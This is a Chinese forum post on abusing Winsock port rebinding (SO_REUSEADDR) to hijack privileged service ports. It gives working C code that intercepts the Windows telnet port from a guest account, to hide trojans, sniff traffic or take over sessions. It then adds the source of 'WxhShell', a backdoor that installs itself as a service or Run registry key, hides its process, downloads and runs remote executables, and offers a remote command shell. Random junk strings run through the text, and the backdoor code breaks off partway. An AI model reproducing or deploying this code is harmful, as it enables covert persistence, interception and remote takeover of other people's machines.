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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '}$$o1R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -A17tC20J1  
\t 04-  
  saddr.sin_family = AF_INET; f S(IN~  
Ye) F{WqZ#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <X1^w  
"=9kX`(1y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x"QZ}28(t  
FZ^j|2.L*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yZ]u{LJS  
JJ$q*  
  这意味着什么?意味着可以进行如下的攻击: a'2^kds  
CN, oH4IU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o `N /w  
&o$Pwk\p/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) enJgk(  
{expx<+4F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QSq0{  
v\:P _J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \,5OPSB  
{ |[n>k   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b 6B5  
I?!7]Sn$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zVU{jmS  
1y($h<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {*J{1)2  
;}k9YlQrN  
  #include y}t1r |p  
  #include >2w^dI2  
  #include Vy7o}z`  
  #include    `gFE/i18  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j"c30AY  
  int main() @?r[ $Ea1M  
  { l4+Bs!i`  
  WORD wVersionRequested; mE}@}@(  
  DWORD ret; qoXncdDHZ  
  WSADATA wsaData; HM(S}>  
  BOOL val; >MeM  
  SOCKADDR_IN saddr; n6Qsug$z  
  SOCKADDR_IN scaddr; ^$I8ga  
  int err; ckTk2xPQ  
  SOCKET s; z nxAP|  
  SOCKET sc; c_#+xGS!7  
  int caddsize; jA}b=c  
  HANDLE mt; Lradyo44u\  
  DWORD tid;   .sOEqwO}>  
  wVersionRequested = MAKEWORD( 2, 2 ); c/Ykk7T9--  
  err = WSAStartup( wVersionRequested, &wsaData ); 2)zAX"#/  
  if ( err != 0 ) { -]K9sy)I  
  printf("error!WSAStartup failed!\n"); FELDz7DYya  
  return -1; Btgxzf  
  } ~l@ h  
  saddr.sin_family = AF_INET; NP#:} )  
   kED1s's  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^Voi 4;  
B<" `<oG@|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BrO" _  
  saddr.sin_port = htons(23); _^5OoE"}!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gx',~  
  { p2/Pj)2  
  printf("error!socket failed!\n"); TC+L\7   
  return -1; R ]! [h  
  } -)p S\$GC  
  val = TRUE; hmQ;!9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +xc1cki_{  
  { 9$[PA jwk  
  printf("error!setsockopt failed!\n"); NM{/rvM  
  return -1; =W_Pph  
  } t0*,%ge:<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Oe["4C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +-*Ww5Zti  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Jb (CH4|7  
>{HQ"{Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PV\aQO.mo  
  { UTLuzm  
  ret=GetLastError(); 5u89?-UD  
  printf("error!bind failed!\n"); #NZ#G~oeO  
  return -1; !|#W,9  
  } ?~p]Ey}~9  
  listen(s,2); w 4fz!l]  
  while(1) P< 5v\\  
  { 0lm7'H*~  
  caddsize = sizeof(scaddr); H-|%\9&{S  
  //接受连接请求 Ap<kK0#h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZZu{c t9  
  if(sc!=INVALID_SOCKET) : [r/ Y  
  { 9z$fDs}.q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sr#\5UDS  
  if(mt==NULL) s1GR!*z>  
  { N a $eeM  
  printf("Thread Creat Failed!\n"); $"P[nNW3  
  break; DQ*T2*L  
  } nUy.gAb  
  } o#~Lb9`@U  
  CloseHandle(mt); fR$_=WWN>h  
  } :yi?<  
  closesocket(s); 9-3, DxZ}  
  WSACleanup(); {gkzo3  
  return 0; EQTJ=\WFF  
  }   g]Jt (aYK  
  DWORD WINAPI ClientThread(LPVOID lpParam) w5+H9R6  
  { BtA_1RO  
  SOCKET ss = (SOCKET)lpParam; Rl/5eE8  
  SOCKET sc; )p^" J|  
  unsigned char buf[4096]; tg%#W `  
  SOCKADDR_IN saddr; J6[V7R[\  
  long num; {KGEv%  
  DWORD val; !Soz??~o/  
  DWORD ret; Q_r}cL/A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JJZu%9~[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >2t.7UhDI  
  saddr.sin_family = AF_INET; N xW Dw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }B e;YIhG  
  saddr.sin_port = htons(23); h0O t>e"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !y\r.fm!A  
  { #=g1V?D  
  printf("error!socket failed!\n"); 1p5n}|  
  return -1; tP][o494\&  
  } .mbqsb]&Y  
  val = 100; @u @~gEt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9]Fi2M  
  { 2rV]n  
  ret = GetLastError(); OAauD$Hh  
  return -1; \_]X+o;  
  } SNJSRqWL/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dM=45$\q  
  { J6I:UML  
  ret = GetLastError(); [} zzG@g,J  
  return -1; yiw4<]{IX  
  } `+m:@0&L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y '[VZ$^i  
  { Gl"|t't(  
  printf("error!socket connect failed!\n"); xwF mY'o  
  closesocket(sc); 3Cw}y55_y  
  closesocket(ss); %vil ~NU  
  return -1; @9tzk [  
  } <I#nwoHN  
  while(1) w7@TM%nS  
  { 85T"(HhT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *\(MG|S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~ \]?5 nj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l+a1`O  
  num = recv(ss,buf,4096,0); -tZ~&1"  
  if(num>0) RY .@_{  
  send(sc,buf,num,0); .He}f,!f<  
  else if(num==0) ^6On^k[|fw  
  break; l0 8vF$k|d  
  num = recv(sc,buf,4096,0); 02_+{vk!  
  if(num>0) bu9.Hv T'  
  send(ss,buf,num,0); GXp`yK9c  
  else if(num==0) J= [D'h  
  break; T-LX>*  
  } kV+%(Gl8  
  closesocket(ss); c'.XC}  
  closesocket(sc); lvsj4 cT  
  return 0 ; bp!Jjct  
  } O9C&1A|lA  
eaAGlEW6J  
eIJ>bM  
========================================================== Bd]k]v+  
/%mT2  
下边附上一个代码,,WXhSHELL ,v<7O_A/e  
]rG/?1'^i  
========================================================== /9e?uC6  
n$F~  
#include "stdafx.h" Fw S>V2R  
uGv|!UQw  
#include <stdio.h> {Q}F.0Q  
#include <string.h> L>h|1ZK  
#include <windows.h> yQ)&u+r  
#include <winsock2.h> A;<wv>T  
#include <winsvc.h> gYCr,-_i  
#include <urlmon.h> ?<`oKBn  
_i_P@I<M|~  
#pragma comment (lib, "Ws2_32.lib") " Lh&s<[  
#pragma comment (lib, "urlmon.lib") Cz)&R^  
s+?2oPa  
#define MAX_USER   100 // 最大客户端连接数 gBky ZK  
#define BUF_SOCK   200 // sock buffer n y cn  
#define KEY_BUFF   255 // 输入 buffer <iA\ZS:  
%q}[ZD/HD  
#define REBOOT     0   // 重启 /w1M%10   
#define SHUTDOWN   1   // 关机 2Rt6)hgY  
1uO2I&B  
#define DEF_PORT   5000 // 监听端口 #R>x]Nt}  
R_O=WmD  
#define REG_LEN     16   // 注册表键长度 jsQHg2Vd  
#define SVC_LEN     80   // NT服务名长度 _jc_(;KPF  
O%3Hp.|!  
// 从dll定义API <PVwf`W.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); | UlG@Mn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '4nJ*Xa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D#AqZS>B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q~tXT_  
m8=n`XI  
// wxhshell配置信息 0,nz*UDk  
struct WSCFG { - V:HT j  
  int ws_port;         // 监听端口 ,3!$mQL=  
  char ws_passstr[REG_LEN]; // 口令 *E*oWb]H  
  int ws_autoins;       // 安装标记, 1=yes 0=no {zWR)o .=  
  char ws_regname[REG_LEN]; // 注册表键名 TF%Xb>jy[  
  char ws_svcname[REG_LEN]; // 服务名 c"v75lW-J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6\ yBA_ z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a}uYv:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ )=WA!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {fnx=BaG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 43pe6 ^.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lH;V9D^  
A#6zI NK#B  
}; LQHL4jRXU  
(-g*U#   
// default Wxhshell configuration 1$8@CT^m  
struct WSCFG wscfg={DEF_PORT, Z2gWa~dBC  
    "xuhuanlingzhe", tEL9hZzI  
    1, l2LLM{B  
    "Wxhshell", p]%di8&;N  
    "Wxhshell", =C2sl;7~*  
            "WxhShell Service", K Ax=C}9  
    "Wrsky Windows CmdShell Service", }b1FB<e]  
    "Please Input Your Password: ", ":_II[FPY  
  1, IH;sVT $M  
  "http://www.wrsky.com/wxhshell.exe", p"#\E0GM  
  "Wxhshell.exe" `0N7Gc  
    }; J Cq>;br.  
_0jR({\  
// 消息定义模块  ]'`E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m/1FVC@*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b?l>vUgAg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GPGE7X'  
char *msg_ws_ext="\n\rExit."; 0muC4  
char *msg_ws_end="\n\rQuit."; B ytx.[zbX  
char *msg_ws_boot="\n\rReboot..."; {Q3OT  
char *msg_ws_poff="\n\rShutdown..."; 8 ECX[fw  
char *msg_ws_down="\n\rSave to "; X3\PVsH$K  
!+Xul_XG  
char *msg_ws_err="\n\rErr!"; d?8OY  
char *msg_ws_ok="\n\rOK!"; E`UkL*Q  
H; NV?CD  
char ExeFile[MAX_PATH]; FDQ=$w}' >  
int nUser = 0; ~x^y5[5{  
HANDLE handles[MAX_USER]; Wk<fNHg  
int OsIsNt; u0h%4f!X  
w.-x2Zg},  
SERVICE_STATUS       serviceStatus; _"ciHYHBQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cv aG[NF  
;NR|Hi]  
// 函数声明 A<ds+0  
int Install(void); uYMn VE"  
int Uninstall(void); ]*#i_dho7  
int DownloadFile(char *sURL, SOCKET wsh); >!t3~q1Cn  
int Boot(int flag); hhze5_$_  
void HideProc(void); 393c |8M  
int GetOsVer(void); 4AS%^&ah  
int Wxhshell(SOCKET wsl); >U vP/rp  
void TalkWithClient(void *cs); Jv8:GgSg  
int CmdShell(SOCKET sock); Z0fa;%:  
int StartFromService(void); AP=h*1udk  
int StartWxhshell(LPSTR lpCmdLine); =P]Z"Ok  
*O :JECKU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .;]WcC<3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p L"{Uqi  
x ;|HT  
// 数据结构和表定义 TKR#YJQ?K  
SERVICE_TABLE_ENTRY DispatchTable[] = $<v4c5r]O  
{ dS ojq6M  
{wscfg.ws_svcname, NTServiceMain}, 2%sZaM  
{NULL, NULL} (dq_ ,LI  
}; =/Gd<qz3  
. vb##D  
// 自我安装 -N*[f9EJB  
int Install(void) zr /v.$<  
{ Y"H`+UV  
  char svExeFile[MAX_PATH]; "pM >TMAE  
  HKEY key; @."K"i'Bl  
  strcpy(svExeFile,ExeFile); w.q`E@ T*  
hzsQK _;S  
// 如果是win9x系统,修改注册表设为自启动 2y - QH  
if(!OsIsNt) { &VGV0K3 Dp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uu.X>agg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bzFac5n)Q  
  RegCloseKey(key); _y~6b{T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L5bq\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SBreA-2  
  RegCloseKey(key); h mRmU{(Y  
  return 0; x/DV>Nfn  
    } 8ttJ\m  
  } M0w Uis:`  
} = LNU%0m  
else { qWhW4$7x  
l+9RPJD/:  
// 如果是NT以上系统,安装为系统服务 DyN[Yp|V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X"!j_*&ED  
if (schSCManager!=0) #<xFO^TB  
{ k24I1DlR8  
  SC_HANDLE schService = CreateService ^ Kz ?SO  
  ( I?'*vAW<  
  schSCManager, gw)4P tb!  
  wscfg.ws_svcname, f)*?Ji|5F  
  wscfg.ws_svcdisp, vwT1bw.  
  SERVICE_ALL_ACCESS, J@2jx4   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5p#0K@`n/  
  SERVICE_AUTO_START, ESCN/ocV  
  SERVICE_ERROR_NORMAL, [c3!xHt5O  
  svExeFile, #kv9$  
  NULL, 8g0 #WV  
  NULL, mD9Iao%4~  
  NULL, ] `$6=) _X  
  NULL, IU8zidn&  
  NULL :^]Po$fl  
  ); $5i\D rs  
  if (schService!=0) ~^2w)-N  
  { ,/?J!W@m  
  CloseServiceHandle(schService); oJTEN}fL  
  CloseServiceHandle(schSCManager); $mPR)T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uOv<*Jld*  
  strcat(svExeFile,wscfg.ws_svcname); KR ( apO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PEI$1,z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =Fz mifTc  
  RegCloseKey(key); 8xLQ" l+"  
  return 0; *|y'%y  
    } NPH(v`  
  } FEk9a^Xyx  
  CloseServiceHandle(schSCManager); Xex7Lr&  
} X%YZQc9  
} g$uiwqNA%  
wO,qFY  
return 1; +S~ u,=  
} jr`T6!\  
]Ozz"4Z  
// 自我卸载 E{Wn&?i>A  
int Uninstall(void) k9 r49lb  
{ C1;uAw?\  
  HKEY key; MGF !ZZ\  
JPDxzp  
if(!OsIsNt) { lf( +]k30  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wrkw,H  
  RegDeleteValue(key,wscfg.ws_regname); &u:U"j  
  RegCloseKey(key); spA|[\Nl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 96\FJHt Z  
  RegDeleteValue(key,wscfg.ws_regname); $*{,Z<|2  
  RegCloseKey(key); ;l;jTb^l  
  return 0; %g7j7$c  
  } 16Qu{K  
} )j8'6tk)Z  
} N6[Z*5efR  
else { 'gN[LERT  
tV=Qt[|@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?*~ ~Ok  
if (schSCManager!=0) | d*<4-:  
{ $(62j0mS>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @{IX do  
  if (schService!=0) <2(X?,N5BD  
  { UT@Qo}:  
  if(DeleteService(schService)!=0) { t XzuP_0  
  CloseServiceHandle(schService); <IZr..|O  
  CloseServiceHandle(schSCManager); t 9(,JC0  
  return 0; iK4\N;H  
  } $D`Kz*/.  
  CloseServiceHandle(schService); 3mo<O}}  
  } gkK(7=r%  
  CloseServiceHandle(schSCManager); EZWWv L  
} PlCw,=K8f  
} 2_Lu 0Yrg  
Lj /^cx  
return 1; W(qK?"s2  
} n!zB+hW  
):Fg {7b]n  
// 从指定url下载文件 Wgf f+7k  
int DownloadFile(char *sURL, SOCKET wsh) 9vi+[3s/=;  
{ _&HFKpHQ  
  HRESULT hr; HxR5&o  
char seps[]= "/"; F~v0CBcAL  
char *token; F4=X(P_6  
char *file; Ne9VRM P  
char myURL[MAX_PATH]; c*owP  
char myFILE[MAX_PATH]; g#P]72TQ  
."Pn[$'.  
strcpy(myURL,sURL); Ks3YrKk;p  
  token=strtok(myURL,seps); -wUT@a  
  while(token!=NULL) =n.&N   
  { {U9{*e$=  
    file=token; *=md!^x`  
  token=strtok(NULL,seps); [?6+ r  
  } $m)eO8S+  
+^J&x>5  
GetCurrentDirectory(MAX_PATH,myFILE); `_DA!  
strcat(myFILE, "\\"); K z^.v`  
strcat(myFILE, file); "'+/ax[{  
  send(wsh,myFILE,strlen(myFILE),0); A/zAB3  
send(wsh,"...",3,0); M\ wCZG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rhF2U  
  if(hr==S_OK) Ozqh Jb  
return 0; D{7sfkcJ  
else N/C$8D34  
return 1; #x;d+Q@  
?RE"<L  
} )3F}IgD  
U7LCd+Z 5X  
// 系统电源模块 G=e'H-  
int Boot(int flag) dM"5obEb  
{ YxnZ0MY  
  HANDLE hToken; DW,Z})9  
  TOKEN_PRIVILEGES tkp; s&%r?  
k-4z2qB  
  if(OsIsNt) { Yi-,Pb?   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {DVMs|5;^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5/hgWG6.t  
    tkp.PrivilegeCount = 1; ga'G)d3oS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {#=o4~u%;H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .Z`xNp  
if(flag==REBOOT) { U4"&T,'lTL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )REegFN@  
  return 0; 55b/giX  
} Ct(^nn$A  
else { RSe av  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n1x3q/~  
  return 0; Vf(..8  
} OHY|< &*  
  } \"I418T K  
  else { 9qq6P!  
if(flag==REBOOT) { 0W 1bZPM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,-n_( U  
  return 0; =q[+ e(,3  
} uC]c`Ue  
else { aYtW!+#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K=4|GZ~p}`  
  return 0; B%x?VOdBE  
} ,=pn}\ R  
} fHuWBC_YO  
un`4q-S7  
return 1; e6y!,My<  
} Dl?:Mh  
#T>pu/EQX_  
// win9x进程隐藏模块 kB?Uw#  
void HideProc(void) ZKS]BbMZa  
{ WK#c* rsij  
J6 A3Hrg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y2B'0l  
  if ( hKernel != NULL ) s=R^2;^  
  { OSJL,F,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cpn!}!Gnf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oB<!U%BN  
    FreeLibrary(hKernel); qus%?B{b}  
  } ubKp P%Z  
'v(b^x<ZS  
return; wgQx.8 h>  
} :VR% I;g;  
f]Zj"Tt-  
// 获取操作系统版本 %xX b5aY  
int GetOsVer(void) 2`V0k.$?p  
{ HbCcROl(  
  OSVERSIONINFO winfo; $7O3+R/=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~A(^<  
  GetVersionEx(&winfo); p CeCR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #]*d8  
  return 1; X4k|k>  
  else +wGvY r  
  return 0; ws;|fY  
} M>*xbBl  
b-#oE{(\'  
// 客户端句柄模块 n482?Wp  
int Wxhshell(SOCKET wsl) Rd@?2)Xm  
{ *]Eyf")  
  SOCKET wsh; sZ"(#g;3<  
  struct sockaddr_in client; (F#2z\$;  
  DWORD myID; D4{<~/oBv  
LmKY$~5P  
  while(nUser<MAX_USER) 2H1?f|0>  
{ `Gg,oCQg  
  int nSize=sizeof(client); 5p7i9"tgn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KO))2GET  
  if(wsh==INVALID_SOCKET) return 1; e[QEOx/-h2  
d(vt0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ih5CtcE1'd  
if(handles[nUser]==0) CE4Kc33OU|  
  closesocket(wsh); 1_mqPMm  
else 8%Ak   
  nUser++; ) '/xNR  
  } (Kw%fJT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {P==6/<2o  
5',&8  
  return 0; .07k G]  
} [KEw5-=i@  
;IT'6m`@W  
// 关闭 socket G1SOvdq  
void CloseIt(SOCKET wsh) t&o&gb  
{ aC3Qmo6?m  
closesocket(wsh); P(p|NRD@1  
nUser--; Nm#[A4  
ExitThread(0); Tog'3k9Uw  
} ka$la;e3  
1/=6s5vS}  
// 客户端请求句柄 e=ry_@7  
void TalkWithClient(void *cs) 0J .]`kR  
{ @f#6Nu  
k4J Tc2b  
  SOCKET wsh=(SOCKET)cs;  fTGVG  
  char pwd[SVC_LEN]; ]_m(q`_  
  char cmd[KEY_BUFF]; 4SIS #m  
char chr[1]; ^aqBL  
int i,j; q3u:Tpn4%  
k P=~L=cK  
  while (nUser < MAX_USER) { `cFNO:  
DLoH.Fd  
if(wscfg.ws_passstr) { FY,)iZ}Pq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6^,;^   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FD8d-G  
  //ZeroMemory(pwd,KEY_BUFF); gS!zaD7Nr  
      i=0; QRdh2YH`  
  while(i<SVC_LEN) { P\$%p-G  
\ Ju7.3.  
  // 设置超时 PSU}fo  
  fd_set FdRead; Bf$` Hf6  
  struct timeval TimeOut; N3\vd_D(  
  FD_ZERO(&FdRead); T=[ /x=  
  FD_SET(wsh,&FdRead); u y13SkW  
  TimeOut.tv_sec=8; U ?6.UtNf  
  TimeOut.tv_usec=0; 'On%p|s)H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /kqa|=-`q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xH>j  
4@9xq<<5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o}Q3mCB  
  pwd=chr[0]; *dx E (dP  
  if(chr[0]==0xd || chr[0]==0xa) { 6&"GTK  
  pwd=0; {Ok]$0L  
  break; B# o6UO\  
  } $g }aH(vf  
  i++; V17!~  
    } Eu[/* t+l  
T@ zV   
  // 如果是非法用户,关闭 socket 8M7Bw[Q1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $AdBX}{  
} =A_fL{ SM  
+EH"A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [`!%u3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O&@CT])8  
,3Aiz|v-  
while(1) { sc y_  
CWSc#E  
  ZeroMemory(cmd,KEY_BUFF); UYhxgPGsj  
1P G"IaOb  
      // 自动支持客户端 telnet标准   SL`nt  
  j=0; wB"`lY   
  while(j<KEY_BUFF) { C/q!!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3]pHc)p!.  
  cmd[j]=chr[0]; se29IhS!e  
  if(chr[0]==0xa || chr[0]==0xd) { #l!nBY~  
  cmd[j]=0; [6\b(kS+  
  break; sL#MYW5E  
  } ,:qk+  
  j++; {n(/ c33  
    } G BM8:IG \  
#@P0i^pFTB  
  // 下载文件 E^m;Ab=  
  if(strstr(cmd,"http://")) { M]SeNYDy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f%rZ2h)  
  if(DownloadFile(cmd,wsh)) wotw nE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sA oxLI  
  else YVPLHwh/5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # GzowI'  
  } kG`&Z9P  
  else { @DSKa`  
V+t's*9o3  
    switch(cmd[0]) { l\ Vr D2j8  
  $t0JfDd6Ky  
  // 帮助 _7'5IA  
  case '?': {  upGLZ#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &mm!UJ  
    break; QSOG(}w  
  } 9A *gW j  
  // 安装 ]D,\(|  
  case 'i': { -L!lJ  
    if(Install()) x kdC -S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6!wk5#  
    else (QQkXlJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6i%X f i  
    break; i ;^Ya  
    } Pk;YM}  
  // 卸载 od^ylg>K  
  case 'r': { `i<Z< <c>  
    if(Uninstall()) ?@;#|^k9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PJ^qE| X  
    else J|`.d46  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w8a49Fv  
    break; \J;_%-Z  
    } I:("f+ H  
  // 显示 wxhshell 所在路径 z, n[}Q#u  
  case 'p': { hw=~ %f;  
    char svExeFile[MAX_PATH]; tTWEhHQ`  
    strcpy(svExeFile,"\n\r"); 'UM *7  
      strcat(svExeFile,ExeFile); d{Owz&PL  
        send(wsh,svExeFile,strlen(svExeFile),0); A# Y:VavQ?  
    break; Os KtxtLO  
    } [pInF Qh6  
  // 重启 qQ 8+gZG$R  
  case 'b': { ABcB-V4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YLuf2ja}X  
    if(Boot(REBOOT)) .br6x ^\<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2OQ\ z;s  
    else { |#'n VN.;  
    closesocket(wsh); l z-I[*bA  
    ExitThread(0); }Eh &'  
    } 8e1Z:axn0  
    break; }_5R9w]"  
    } Udq!YXE0  
  // 关机 B<0Kl.V  
  case 'd': { Sb(OG 6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n#@Qd!uzM  
